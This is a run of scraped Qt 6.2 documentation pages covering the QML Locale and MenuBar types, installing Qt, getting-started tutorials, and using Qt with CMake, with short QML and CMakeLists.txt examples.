* **[groupSeparator](qml-qtqml-locale#groupSeparator-prop)** : string
* **[measurementSystem](qml-qtqml-locale#measurementSystem-prop)** : enumeration
* **[name](qml-qtqml-locale#name-prop)** : string
* **[nativeCountryName](qml-qtqml-locale#nativeCountryName-prop)** : string
* **[nativeLanguageName](qml-qtqml-locale#nativeLanguageName-prop)** : string
* **[negativeSign](qml-qtqml-locale#negativeSign-prop)** : string
* **[numberOptions](qml-qtqml-locale#numberOptions-prop)** : enumeration
* **[percent](qml-qtqml-locale#percent-prop)** : string
* **[pmText](qml-qtqml-locale#pmText-prop)** : string
* **[positiveSign](qml-qtqml-locale#positiveSign-prop)** : string
* **[textDirection](qml-qtqml-locale#textDirection-prop)** : enumeration
* **[uiLanguages](qml-qtqml-locale#uiLanguages-prop)** : Array<string>
* **[weekDays](qml-qtqml-locale#weekDays-prop)** : Array<int>
* **[zeroDigit](qml-qtqml-locale#zeroDigit-prop)** : string

 Methods
-------

 * string **[currencySymbol](qml-qtqml-locale#currencySymbol-method)**(*format*)
* string **[dateFormat](qml-qtqml-locale#dateFormat-method)**(*type*)
* string **[dateTimeFormat](qml-qtqml-locale#dateTimeFormat-method)**(*type*)
* string **[dayName](qml-qtqml-locale#dayName-method)**(*day*, *type*)
* string **[formattedDataSize](qml-qtqml-locale#formattedDataSize-method)**(int *bytes*, int *precision*, DataSizeFormat *format*)
* string **[monthName](qml-qtqml-locale#monthName-method)**(*month*, *type*)
* string **[standaloneDayName](qml-qtqml-locale#standaloneDayName-method)**(*day*, *type*)
* string **[standaloneMonthName](qml-qtqml-locale#standaloneMonthName-method)**(*month*, *type*)
* string **[timeFormat](qml-qtqml-locale#timeFormat-method)**(*type*)

 Detailed Description
--------------------

 The Locale object may only be created via the [Qt.locale](qml-qtqml-qt#locale-method)() function. It cannot be created directly.

 The [Qt.locale](qml-qtqml-qt#locale-method)() function returns a JS Locale object representing the locale with the specified name, which has the format "language[\_territory][.codeset][@modifier]" or "C".

 Locale supports the concept of a default locale, which is determined from the system's locale settings at application startup. If no parameter is passed to Qt.locale() the default locale object is returned.

 The Locale object provides a number of functions and properties providing data for the specified locale.

 The Locale object may also be passed to the [Date](qml-qtqml-date) and [Number](qml-qtqml-number) toLocaleString() and fromLocaleString() methods in order to convert to/from strings using the specified locale.

 This example shows the current date formatted for the German locale:

 
```
import QtQuick 2.0

Text {
    text: "The date is: " + Date().toLocaleString(Qt.locale("de_DE"))
}
```
 The following example displays the specified number in the correct format for the default locale:

 
```
import QtQuick 2.0

Text {
    text: "The value is: " + Number(23443.34).toLocaleString(Qt.locale())
}
```
 Qt Quick Locale's data is based on Common Locale Data Repository v1.8.1.

 ### Locale String Format Types

 The [monthName](qml-qtqml-locale#monthName-method)(), [standaloneMonthName](qml-qtqml-locale#standaloneMonthName-method)(), [dayName](qml-qtqml-locale#dayName-method)() and [standaloneDayName](qml-qtqml-locale#standaloneDayName-method)() can use the following enumeration values to specify the formatting of the string representation for a Date object.

 * Locale.LongFormat The long version of day and month names; for example, returning "January" as a month name.
* Locale.ShortFormat The short version of day and month names; for example, returning "Jan" as a month name.
* Locale.NarrowFormat A special version of day and month names for use when space is limited; for example, returning "J" as a month name. Note that the narrow format might contain the same text for different months and days or it can even be an empty string if the locale doesn't support narrow names, so you should avoid using it for date formatting. Also, for the system locale this format is the same as ShortFormat.

 Additionally the double-to-string and string-to-double conversion functions are covered by the following licenses:

 
Copyright (c) 1991 by AT&T.

 Permission to use, copy, modify, and distribute this software for any purpose without fee is hereby granted, provided that this entire notice is included in all copies of any software which is or includes a copy or modification of this software and in all copies of the supporting documentation for such software.

 THIS SOFTWARE IS BEING PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED WARRANTY. IN PARTICULAR, NEITHER THE AUTHOR NOR AT&T MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE MERCHANTABILITY OF THIS SOFTWARE OR ITS FITNESS FOR ANY PARTICULAR PURPOSE.

 This product includes software developed by the University of California, Berkeley and its contributors.

 
**See also** [Date](qml-qtqml-date) and [Number](qml-qtqml-number).

 Property Documentation
----------------------

 ###  amText : [string](qml-string)

 The localized name of the "AM" suffix for times specified using the conventions of the 12-hour clock.

 ###  decimalPoint : [string](qml-string)

 Holds the decimal point character of this locale.

 ###  exponential : [string](qml-string)

 Holds the exponential character of this locale.

 ###  firstDayOfWeek : [enumeration](qml-enumeration)

 Holds the first day of the week according to the current locale.

 * Locale.Sunday = 0
* Locale.Monday = 1
* Locale.Tuesday = 2
* Locale.Wednesday = 3
* Locale.Thursday = 4
* Locale.Friday = 5
* Locale.Saturday = 6

  **Note:** that these values match the JS Date API which is different from the Qt C++ API where [Qt::Sunday](qt#DayOfWeek-enum) = 7.

  ###  groupSeparator : [string](qml-string)

 Holds the group separator character of this locale.

 ###  measurementSystem : [enumeration](qml-enumeration)

 This property defines which units are used for measurement.

 * Locale.MetricSystem This value indicates metric units, such as meters, centimeters and millimeters.
* Locale.ImperialUSSystem This value indicates imperial units, such as inches and miles as they are used in the United States.
* Locale.ImperialUKSystem This value indicates imperial units, such as inches and miles as they are used in the United Kingdom.
* Locale.ImperialSystem Provided for compatibility. The same as Locale.ImperialUSSystem.

 ###  name : [string](qml-string)

 Holds the language and country of this locale as a string of the form "language\_country", where language is a lowercase, two-letter ISO 639 language code, and country is an uppercase, two- or three-letter ISO 3166 country code.

 ###  nativeCountryName : [string](qml-string)

 Holds a native name of the country for the locale. For example "España" for Spanish/Spain locale.

 **See also** [nativeLanguageName](qml-qtqml-locale#nativeLanguageName-prop).

 ###  nativeLanguageName : [string](qml-string)

 Holds a native name of the language for the locale. For example "Schwiizertüütsch" for Swiss-German locale.

 **See also** [nativeCountryName](qml-qtqml-locale#nativeCountryName-prop).

 ###  negativeSign : [string](qml-string)

 Holds the negative sign character of this locale.

 ###  numberOptions : [enumeration](qml-enumeration)

 Holds a set of options for number-to-string and string-to-number conversions.

 **See also** [Number::toLocaleString](qml-qtqml-number#toLocaleString-method)() and [Number::fromLocaleString](qml-qtqml-number#fromLocaleString-method)().

 ###  percent : [string](qml-string)

 Holds the percent character of this locale.

 ###  pmText : [string](qml-string)

 The localized name of the "PM" suffix for times specified using the conventions of the 12-hour clock.

 ###  positiveSign : [string](qml-string)

 Holds the positive sign character of this locale.

 ###  textDirection : [enumeration](qml-enumeration)

 Holds the text direction of the language:

 * Qt.LeftToRight
* Qt.RightToLeft

 ###  uiLanguages : Array<[string](qml-string)>

 Returns an ordered list of locale names for translation purposes in preference order.

 The return value represents locale names that the user expects to see the UI translation in.

 The first item in the list is the most preferred one.

 ###  weekDays : Array<[int](qml-int)>

 Holds an array of days that are considered week days according to the current locale, where Sunday is 0 and Saturday is 6.

 **See also** [firstDayOfWeek](qml-qtqml-locale#firstDayOfWeek-prop).

 ###  zeroDigit : [string](qml-string)

 Holds Returns the zero digit character of this locale.

 Method Documentation
--------------------

 ###  [string](qml-string) currencySymbol(*format*)

 Returns the currency symbol for the specified *format*:

 * Locale.CurrencyIsoCode a ISO-4217 code of the currency.
* Locale.CurrencySymbol a currency symbol.
* Locale.CurrencyDisplayName a user readable name of the currency.

 **See also** [Number::toLocaleCurrencyString](qml-qtqml-number#toLocaleCurrencyString-method)().

 ###  [string](qml-string) dateFormat(*type*)

 Returns the date format used for the current locale. *type* specifies the [FormatType](qml-qtqml-locale#formattype) to return.

 **See also** [Date](qml-qtqml-date).

 ###  [string](qml-string) dateTimeFormat(*type*)

 Returns the date time format used for the current locale. *type* specifies the [FormatType](qml-qtqml-locale#formattype) to return.

 **See also** [Date](qml-qtqml-date).

 ###  [string](qml-string) dayName(*day*, *type*)

 Returns the localized name of the *day* (where 0 represents Sunday, 1 represents Monday and so on), in the optional [FormatType](qml-qtqml-locale#formattype) specified by *type*.

 **See also** [monthName](qml-qtqml-locale#monthName-method)() and [standaloneDayName](qml-qtqml-locale#standaloneDayName-method)().

 ###  `[since 6.2]` [string](qml-string) formattedDataSize([int](qml-int) *bytes*, [int](qml-int) *precision*, DataSizeFormat *format*)

 Converts a size in *bytes* to a human-readable localized string, comprising a number and a quantified unit.

 The *precision* and *format* arguments are optional.

 For more information, see [QLocale::formattedDataSize](qlocale#formattedDataSize)().

 This method was introduced in Qt 6.2.

 **See also** [QLocale::DataSizeFormats](qlocale#DataSizeFormat-enum).

 ###  [string](qml-string) monthName(*month*, *type*)

 Returns the localized name of *month* (0-11), in the optional [FormatType](qml-qtqml-locale#formattype) specified by *type*.

  **Note:** the [QLocale](qlocale) C++ API expects a range of (1-12), however Locale.monthName() expects 0-11 as per the JS Date object.

  **See also** [dayName](qml-qtqml-locale#dayName-method)() and [standaloneMonthName](qml-qtqml-locale#standaloneMonthName-method)().

 ###  [string](qml-string) standaloneDayName(*day*, *type*)

 Returns the localized name of the *day* (where 0 represents Sunday, 1 represents Monday and so on) that is used as a standalone text, in the [FormatType](qml-qtqml-locale#formattype) specified by *type*.

 If the locale information does not specify the standalone day name then return value is the same as in [dayName](qml-qtqml-locale#dayName-method)().

 **See also** [dayName](qml-qtqml-locale#dayName-method)() and [standaloneMonthName](qml-qtqml-locale#standaloneMonthName-method)().

 ###  [string](qml-string) standaloneMonthName(*month*, *type*)

 Returns the localized name of *month* (0-11) that is used as a standalone text, in the optional [FormatType](qml-qtqml-locale#formattype) specified by *type*.

 If the locale information doesn't specify the standalone month name then return value is the same as in [monthName](qml-qtqml-locale#monthName-method)().

  **Note:** the [QLocale](qlocale) C++ API expects a range of (1-12), however Locale.standaloneMonthName() expects 0-11 as per the JS Date object.

  **See also** [monthName](qml-qtqml-locale#monthName-method)() and [standaloneDayName](qml-qtqml-locale#standaloneDayName-method)().

 ###  [string](qml-string) timeFormat(*type*)

 Returns the time format used for the current locale. *type* specifies the [FormatType](qml-qtqml-locale#formattype) to return.

 **See also** [Date](qml-qtqml-date).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtqml-locale.html>

MenuBar QML Type
================

 Provides a window menu bar. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.10 |
|  Inherits: | [Container](qml-qtquick-controls2-container) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-menubar-members.html)

 Properties
----------

 * **[contentHeight](qml-qtquick-controls2-menubar#contentHeight-prop)** : real
* **[contentWidth](qml-qtquick-controls2-menubar#contentWidth-prop)** : real
* **[delegate](qml-qtquick-controls2-menubar#delegate-prop)** : Component
* **[menus](qml-qtquick-controls2-menubar#menus-prop)** : list<Menu>

 Methods
-------

 * void **[addMenu](qml-qtquick-controls2-menubar#addMenu-method)**(Menu *menu*)
* void **[insertMenu](qml-qtquick-controls2-menubar#insertMenu-method)**(int *index*, Menu *menu*)
* Menu **[menuAt](qml-qtquick-controls2-menubar#menuAt-method)**(int *index*)
* void **[removeMenu](qml-qtquick-controls2-menubar#removeMenu-method)**(Menu *menu*)
* Menu **[takeMenu](qml-qtquick-controls2-menubar#takeMenu-method)**(int *index*)

 Detailed Description
--------------------

 ![]


MenuBar consists of drop-down menus, and is normally located at the top edge of the window.

 
```
ApplicationWindow {
    id: window
    width: 320
    height: 260
    visible: true

    menuBar: MenuBar {
        Menu {
            title: qsTr("&File")
            Action { text: qsTr("&New...") }
            Action { text: qsTr("&Open...") }
            Action { text: qsTr("&Save") }
            Action { text: qsTr("Save &As...") }
            MenuSeparator { }
            Action { text: qsTr("&Quit") }
        }
        Menu {
            title: qsTr("&Edit")
            Action { text: qsTr("Cu&t") }
            Action { text: qsTr("&Copy") }
            Action { text: qsTr("&Paste") }
        }
        Menu {
            title: qsTr("&Help")
            Action { text: qsTr("&About") }
        }
    }
}
```
 Typically, menus are statically declared as children of the menu bar, but MenuBar also provides API to [add](qml-qtquick-controls2-menubar#addMenu-method), [insert](qml-qtquick-controls2-menubar#insertMenu-method), [remove](qml-qtquick-controls2-menubar#removeMenu-method), and [take](qml-qtquick-controls2-menubar#takeMenu-method) menus dynamically. The menus in a menu bar can be accessed using [menuAt](qml-qtquick-controls2-menubar#menuAt-method)().

 **See also** [Customizing MenuBar](qtquickcontrols2-customize#customizing-menubar), [Menu](qtquickcontrols-changes-qt6#menu), [MenuBarItem](qml-qtquick-controls2-menubaritem), [Menu Controls](qtquickcontrols2-menus), and [Focus Management in Qt Quick Controls](qtquickcontrols2-focus).

 Property Documentation
----------------------

 ###  [since QtQuick.Controls 2.3 (Qt 5.10)] contentHeight : [real](qml-real)

 This property holds the content height. It is used for calculating the total implicit height of the menu bar.

  **Note:** This property is available in [MenuBar](qml-qtquick-controls2-menubar) since [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.3 (Qt 5.10), but it was promoted to the Container base type in [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.5 (Qt 5.12).

  This property was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 **See also** [Container::contentHeight](qml-qtquick-controls2-container#contentHeight-prop).

 ###  [since QtQuick.Controls 2.3 (Qt 5.10)] contentWidth : [real](qml-real)

 This property holds the content width. It is used for calculating the total implicit width of the menu bar.

  **Note:** This property is available in [MenuBar](qml-qtquick-controls2-menubar) since [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.3 (Qt 5.10), but it was promoted to the Container base type in [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.5 (Qt 5.12).

  This property was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 **See also** [Container::contentWidth](qml-qtquick-controls2-container#contentWidth-prop).

 ###  delegate : [Component](qml-qtqml-component)

 This property holds the component that is used to create menu bar items to present menus in the menu bar.

 **See also** [MenuBarItem](qml-qtquick-controls2-menubaritem).

 ###  menus : [list](qml-list)<[Menu](qml-qtquick-controls2-menu)>

 This property holds the list of menus.

 The list contains all menus that have been declared in QML as children of the menu bar, and also menus that have been dynamically added or inserted using the [addMenu](qml-qtquick-controls2-menubar#addMenu-method)() and [insertMenu](qml-qtquick-controls2-menubar#insertMenu-method)() methods, respectively.

 Method Documentation
--------------------

 ###  void addMenu([Menu](qml-qtquick-controls2-menu) *menu*)

 Adds *menu* to the end of the list of menus.

 ###  void insertMenu([int](qml-int) *index*, [Menu](qml-qtquick-controls2-menu) *menu*)

 Inserts *menu* at *index*.

 ###  [Menu](qml-qtquick-controls2-menu) menuAt([int](qml-int) *index*)

 Returns the menu at *index*, or `null` if it does not exist.

 ###  void removeMenu([Menu](qml-qtquick-controls2-menu) *menu*)

 Removes and destroys the specified *menu*.

 ###  [Menu](qml-qtquick-controls2-menu) takeMenu([int](qml-int) *index*)

 Removes and returns the menu at *index*.

  **Note:** The ownership of the item is transferred to the caller.

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-menubar.html>

Get and Install Qt
==================

 The Qt Online Installer gives you the choice of installing only the modules and tools you need to develop on a particular desktop platform and to run your applications on one or several desktop platforms, mobile or embedded devices, or MCUs.

 1. Create a Qt Account
----------------------

 To begin, create a [Qt Account](https://account.qt.io/). This account gives you access to a web portal where you can manage your licenses, as well as access to the forums and wikis. Also, make sure you read the [Qt Licensing](https://doc.qt.io/qt-6.2/licensing.html) page regarding your chosen license.

 2. Download the Installer
-------------------------

 Go to your Qt account's download page. By selecting the appropriate unified Qt online installer for your OS, you can install commercial or open source versions of Qt, development tools, and other components. The online installer asks for your Qt account credentials. The installer retrieves the license attached to the account from a server and provides a list of available components corresponding to the license.

 3. Install Qt
-------------

 To complete the installation, select the components that you want to install and follow the instructions of the installation program.

 You must select at least one Qt version for one platform that you want to run your applications on. For example, if you have installed Microsoft Visual Studio 2019 on 64-bit Windows, you could select *MSVC 2019 64-bit* under the Qt version you want to develop with.

 However, the easiest way to install Qt for desktop development is to select the default installation. You can install additional modules later.

 ![]


If you also want to run your applications on Android devices, for example, you should select a custom installation and then select a Qt for Android version in the list of components, in addition to the Qt for your desktop platform.

 The following table contains examples of which components to install depending on the platforms where you want to run your applications.

 

| To Develop For | Choose |
| --- | --- |
| Desktop | Default installation. |
| Mobile Devices | Custom installation, with Qt for your OS and for the mobile device platform that you want to run the applications on. For example, [Qt for Android](android) or [Qt for iOS](ios). |
| Embedded Devices | Custom installation, with the necessary Qt modules and toolchains from the [Qt for Device Creation](https://doc.qt.io/QtForDeviceCreation) section, depending on the types of devices that you want to run applications on. |
| Automotive | Custom installation, with the necessary Qt modules and toolchains from the [Qt for Device Creation](https://doc.qt.io/QtForDeviceCreation) section, depending on the types of devices that you want to run applications on. |
| Automation | Custom installation, with the necessary Qt modules and toolchains from the [Qt for Automation](http://doc.qt.io/QtForAutomation/index.html) section, depending on the types of devices that you want to run applications on. |
| MCUs | Custom installation, with [Qt for MCUs](https://doc.qt.io/QtForMCUs). |

 To check the platform requirements, see [Supported Platforms](supported-platforms).

 The following YouTube video gives a complete walk-through of the installation process:

   [![]  ### Updating or Removing Components

 Once Qt is installed, you can use the *Maintenance Tool* under *<install\_dir>* to add components, update, or remove installed components.

 ### Getting Help

 Evaluation and open source users can get help on the [Qt forum](https://forum.qt.io/). See also the [Help on using the Forum](https://wiki.qt.io/Forum_Help) wiki page.

 Non-commercial users can get limited help with the installation process through [Qt support](https://account.qt.io/support).

 The primary support channel for commercial customers is their [Qt Account](https://account.qt.io/support).

 4. Create Applications
----------------------

 After the installation, [Qt Creator](https://doc.qt.io/qtcreator/index.html) opens. You can use the project wizard templates to start creating applications that run on your chosen platform.

 If you want to design Qt Quick UIs, open [Qt Design Studio](https://doc.qt.io/qtdesignstudio/index.html) and use the project wizard templates there.

 [Tell me more](create-your-first-applications)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/get-and-install-qt.html>

Explore Qt
==========

 We invite you to explore the rest of Qt. We prepared overviews which help you decide which APIs to use and our examples demonstrate how to use them.

 Reference Documentation
-----------------------

 * [Qt Overviews](https://doc.qt.io/qt-6.2/overviews-main.html) - list of topics about application development
* [Examples and Tutorials](https://doc.qt.io/qt-6.2/qtexamplesandtutorials.html) - code samples and tutorials
* [Qt Reference Pages](https://doc.qt.io/qt-6.2/reference-overview.html) - a listing of C++ and QML APIs

 Participate in the Qt Community
-------------------------------

 Qt's vibrant and active community site <http://qt.io>, houses a wiki, a forum, and additional learning guides and presentations.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/explore-qt.html>

Create Your First Applications
==============================

 Learn the basics of Qt and Qt Quick development by following the tutorials that illustrate how to use [Qt Creator](https://doc.qt.io/qtcreator/index.html) or [Qt Design Studio](https://doc.qt.io/qtdesignstudio/index.html) to create simple applications and build and run them on target platforms:

 

| To Develop With | Tutorials | Examples |
| --- | --- | --- |
| Qt Widgets | * [Text Finder](https://doc.qt.io/qtcreator/creator-writing-program.html)
* [Notepad](https://doc.qt.io/qt-6.2/qtwidgets-tutorials-notepad-example.html)
 | [Qt Widgets Examples](https://doc.qt.io/qt-6.2/examples-widgets.html) |
| Qt Quick | * [Qt Creator: Transitions](https://doc.qt.io/qtcreator/qtcreator-transitions-example.html)
* [Qt Creator: Alarms](https://doc.qt.io/qt-6.2/qtdoc-tutorials-alarms-example.html)
* [Qt Design Studio: Log In UI](https://doc.qt.io/qtdesignstudio/gstutorials.html)
 | [Qt Quick Examples and Tutorials](qtquick-codesamples) |
| Python | [Qt for Python Tutorials](https://doc.qt.io/qtforpython-6/tutorials/index.html) | [Qt for Python Examples](https://doc.qt.io/qtforpython-6/examples/index.html) |

 For a more thorough walkthrough of the different aspects of developing applications with Qt, see the [QML Book](https://qmlbook.github.io/). It focuses on Qt Quick, but also provides the information needed to use QML together with C++.

 The following tutorials illustrate how to use Qt Creator or Qt Design Studio to develop simple applications for a particular platform:

 

| To Develop For | Tutorials | Examples |
| --- | --- | --- |
| Mobile Devices | [Qt Creator: Accelbubble](https://doc.qt.io/qtcreator/qtcreator-accelbubble-example.html) | * [Qt for Android Examples](https://doc.qt.io/qt-6.2/examples-android.html)
* [Qt for iOS Examples](https://doc.qt.io/qt-6.2/examples-ios.html)
 |
| Embedded Devices | * [Tutorial: Deploying Your First Project with Boot to Qt](https://doc.qt.io/QtForDeviceCreation/b2qt-tutorial-deploying.html)
 | * [Examples in Qt Automotive Suite](https://doc.qt.io/QtAutomotiveSuite/qtas-examples.html)
* Examples in Qt for Automation
	+ [Qt CoAP Examples](https://doc.qt.io/QtCoAP/qtcoap-examples.html)
	+ [Qt KNX Examples](https://doc.qt.io/QtKNX/qtknx-examples.html)
	+ [Qt MQTT Examples](https://doc.qt.io/QtMQTT/qtmqtt-examples.html)
	+ [Qt OPC UA Examples](https://doc.qt.io/QtOPCUA/index.html)
 |
| MCUs | [Qt Design Studio: Washing Machine UI](https://doc.qt.io/qtdesignstudio/qtdesignstudio-washingmachineui-example.html) | [Qt Quick Ultralite Examples](https://doc.qt.io/QtForMCUs/qulexamples.html) |

 To view a list of all Qt examples, see [List of Qt Examples](https://doc.qt.io/qt-6.2/all-examples.html).

 If you'd rather develop with Microsoft Visual Studio, you can install [Qt VS Tools](https://doc.qt.io/qtvstools/index.html) directly from Visual Studio.

 Now, we'd like to send you off on your journey to [Explore Qt](explore-qt).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/create-your-first-applications.html>

Solutions for Application Development
=====================================

 ![]


As a developer, you most likely have a favorite operating system, toolchain, and language. At work, the choices might be made for you, but Qt gives you some freedom by enabling you to maintain a single software code base across all operating systems, platforms, and screen types, from desktops and embedded systems to business-critical applications, in-vehicle systems, wearables, and mobile devices connected to the Internet of Things.

 The options are endless, but the following table summarizes the solutions available for different types of target platforms or industries with links to more information.

 

| To Develop For | You Need |
| --- | --- |
| Desktop | Qt for Linux, macOS, or Windows with the appropriate [Qt modules](https://doc.qt.io/qt-6.2/qtmodules.html), depending on what your applications will be used for. |
| Mobile Devices | Qt for for Linux, macOS, or Windows and for the mobile device platform that you want to run the applications on. For example, [Qt for Android](android) or [Qt for iOS](ios). |
| Embedded Devices | [Qt for Device Creation](https://doc.qt.io/QtForDeviceCreation)* [Qt Automotive Suite](https://doc.qt.io/QtAutomotiveSuite/index.html)
* [Qt for Automation](http://doc.qt.io/QtForAutomation/index.html)
 |
| MCUs | [Qt for MCUs](https://doc.qt.io/QtForMCUs) |

 You can use C++, QML, or Python for application development:

 

| To Develop With | You Need |
| --- | --- |
| C++/Qt | Qt for for Linux, macOS, or Windows |
| QML/Qt Quick | Qt for for Linux, macOS, or Windows |
| Python | [Qt for Python](https://doc.qt.io/qtforpython/index.html) |

 * [I want to install the necessary tools and modules](get-and-install-qt)
* [I've already installed everything and want to start developing](create-your-first-applications)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/solutions-for-application-development.html>

Getting started with CMake
==========================

 `CMake` is a group of tools that allow to build, test, and package applications. Just like Qt, it is available on all major development platforms. It is also supported by various IDE's, including [Qt Creator](https://doc.qt.io/qtcreator/index.html).

 In this section we will show the most basic way to use Qt in a CMake project. We will walk through an example project that is utilizing [Qt Widgets](qtwidgets-index).

 ### Build a C++ GUI executable

 A `CMake` project is defined by files written in the CMake language. The main file is called `CMakeLists.txt`, and is usually placed in the same directory as the actual program sources.

 Here is a typical `CMakeLists.txt` file for an application written in C++ and using Qt and [Qt Widgets](qtwidgets-index):

 
```
cmake_minimum_required(VERSION 3.16)

project(helloworld VERSION 1.0.0 LANGUAGES CXX)

set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)

set(CMAKE_AUTOMOC ON)
set(CMAKE_AUTORCC ON)
set(CMAKE_AUTOUIC ON)

find_package(Qt6 COMPONENTS Widgets REQUIRED)

add_executable(helloworld
    mainwindow.ui
    mainwindow.cpp
    main.cpp
    resources.qrc
)

target_link_libraries(helloworld PRIVATE Qt6::Widgets)
```
 Let's go through the content.

 
```
cmake_minimum_required(VERSION 3.16)
```
 `cmake_minimum_required()` specifies the minimum CMake version that the application requires. Qt itself requires at least CMake version 3.16. If you use a Qt that was built statically - the default in [Qt for iOS](ios) and [Qt for WebAssembly](wasm) - you need CMake 3.21.1 or newer.

 
```
project(helloworld VERSION 1.0.0 LANGUAGES CXX)
```
 `project()` sets a project name and the default project version. The `LANGUAGES` argument tells CMake that the program is written in C++.

 
```
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
```
 Qt 6 requires a compiler supporting C++ version 17 or newer. Enforcing this by setting the `CMAKE_CXX_STANDARD`, `CMAKE_CXX_STANDARD_REQUIRED` variables will let CMake print an error if the compiler is too old.

 
```
set(CMAKE_AUTOMOC ON)
set(CMAKE_AUTORCC ON)
set(CMAKE_AUTOUIC ON)
```
 Qt applications typically make use of the [Meta-Object Compiler (moc)](moc), [Resource Compiler (rcc)](rcc), and [User Interface Compiler (uic)](uic) that come with Qt. Setting the `CMAKE_AUTOMOC`, `CMAKE_AUTORCC`, and `CMAKE_AUTOUIC` variables to `ON` will let CMake automatically set up rules so that the respective compilers are called transparently, when required.

 
```
find_package(Qt6 COMPONENTS Widgets REQUIRED)
```
 This tells CMake to look up Qt 6, and import the `Widgets` module. There is no point in continuing if `CMake` cannot locate the module, so we do set the `REQUIRED` flag to let CMake abort in this case.

 If successful, the module will set some CMake variables documented in [Module variables](cmake-variable-reference#module-variables). It furthermore imports the `Qt6::Widgets` target that we use below.

 For `find_package` to be successful, `CMake` must find the Qt installation. There are different ways you can tell `CMake` about Qt, but the most common and recommended approach is to set the CMake cache variable `CMAKE_PREFIX_PATH` to include the Qt 6 installation prefix. Note that [Qt Creator](https://doc.qt.io/qtcreator/index.html) will handle this transparently for you.

 
```
add_executable(helloworld
    mainwindow.ui
    mainwindow.cpp
    main.cpp
    resources.qrc
)
```
 `add_executable()` tells CMake that we want to build an executable (so not a library) called `helloworld` as a target. The target should be built from C++ code (`mainwindow.cpp`, `main.cpp`), a [Qt Designer](qtdesigner-manual) file (`mainwindow.ui`), and a [Qt Resource System](resources) file (`resources.qrc`).

 Note that you typically do not list header files here. This is different from [qmake](https://doc.qt.io/qt-6.2/qtquick-deployment.html#qmake), where header files need to be explicitly listed so that they are processed by the [Meta-Object Compiler (moc)](moc).

 For less trivial projects, you may want to call [qt\_add\_executable()](qt-add-executable#qt6-add-executable) instead. It is a wrapper around the built-in `add_executable()` command, providing additional logic to automatically handle things like linking of Qt plugins in static Qt builds, platform-specific customization of library names and so on.

 
```
target_link_libraries(helloworld PRIVATE Qt6::Widgets)
```
 Finally, `target_link_libraries` tells CMake that the `helloworld` executable makes use of [Qt Widgets](qtwidgets-index) by referencing the `Qt6::Widgets` target imported by the `find_package()` call above. This will not only add the right arguments to the linker, but also makes sure that the right include directories, compiler definitions are passed to the C++ compiler. The `PRIVATE` keyword is not strictly necessary for an executable target, but it is good practice to specify it. If `helloworld` was a library rather than an executable, then either `PRIVATE` or `PUBLIC` should be specified (`PUBLIC` if the library mentions anything from `Qt6::Widgets` in its headers, `PRIVATE` otherwise).

 ### Further reading

 The official [CMake Documentation](http://www.cmake.org/cmake/help/documentation.html) is an invaluable source for working with CMake.

 The book [Professional CMake: A Practical Guide](https://crascit.com/professional-cmake/) provides a great introduction to the most relevant CMake features.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/cmake-get-started.html>

Imported targets
================

 Each Qt module that is loaded defines a CMake library target. The target names start with `Qt6::`, followed by the module name. For example: `Qt6::Core`, `Qt6::Gui`. Pass the name of the library target to `target_link_libraries` to use the respective library.

  **Note:** The targets are also available with a `Qt::` prefix: `Qt::Core`, `Qt::Gui`, and so on. See also [Qt 5 and Qt 6 compatibility](https://doc.qt.io/qt-6.2/cmake-qt5-and-qt6-compatibility.html).

  Imported targets are created with the same configurations as when Qt was configured. That is:

 * If Qt was configured with the `-debug` switch, an imported target with the DEBUG configuration is created.
* If Qt was configured with the `-release` switch, an imported target with the RELEASE configuration is created.
* If Qt was configured with the `-debug-and-release` switch, then imported targets are created with both RELEASE and DEBUG configurations.

 If your project has custom `CMake` build configurations, you have to map your custom configuration to either the debug or the release Qt configuration.

 
```
find_package(Qt6 COMPONENTS Core REQUIRED)

set(CMAKE_CXX_FLAGS_COVERAGE "${CMAKE_CXX_FLAGS_RELEASE} -fprofile-arcs -ftest-coverage")

# set up a mapping so that the Release configuration for the Qt imported target is
# used in the COVERAGE CMake configuration.
set_target_properties(Qt6::Core PROPERTIES MAP_IMPORTED_CONFIG_COVERAGE "RELEASE")
```


 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/cmake-imported-targets.html>

CMake Variable Reference
========================

 Module variables
----------------

 Qt modules loaded with `find_package` set various variables.

  **Note:** You rarely need to access these variables directly. Common tasks like linking against a module should be done through the library targets each module defines.

  For example, `find_package(Qt6 COMPONENTS Widgets)`, when successful, makes the following variables available:

 

| Variable | Description |
| --- | --- |
| `Qt6Widgets_COMPILE_DEFINITIONS` | A list of compile definitions to use when building against the library. |
| `Qt6Widgets_DEFINITIONS` | A list of definitions to use when building against the library. |
| `Qt6Widgets_EXECUTABLE_COMPILE_FLAGS` | A string of flags to use when building executables against the library. |
| `Qt6Widgets_FOUND` | A boolean that describes whether the module was found successfully. |
| `Qt6Widgets_INCLUDE_DIRS` | A list of include directories to use when building against the library. |
